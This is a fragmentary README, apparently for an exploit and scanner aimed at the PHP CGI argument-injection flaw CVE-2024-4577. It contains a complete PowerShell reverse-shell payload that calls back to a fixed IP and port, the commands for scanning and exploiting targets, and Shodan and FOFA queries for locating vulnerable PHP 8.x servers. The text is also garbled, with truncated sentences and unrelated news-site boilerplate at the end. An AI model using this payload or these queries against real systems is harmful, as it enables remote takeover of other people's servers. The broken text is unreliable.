##
# PHP CGI Argument Injection (CVE-2024-4577) RCE
, the server must be configured to run PHP scripts in CGI mode."
$ git clone
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
. However this specific payload sample does not function in this scenario. Modify the shell.php to obtain fully functional payload.
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
$ python3 CVE-2024-4577.py -s -t
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Target is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t -e -p rev_shell.php
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
* **Shodan** : `server: PHP 8.1`, `server: PHP 8.2`, `server: PHP 8.3`
* **FOFA** : `protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"`
*
*
*
*
*
*
*
This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool. create issue
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
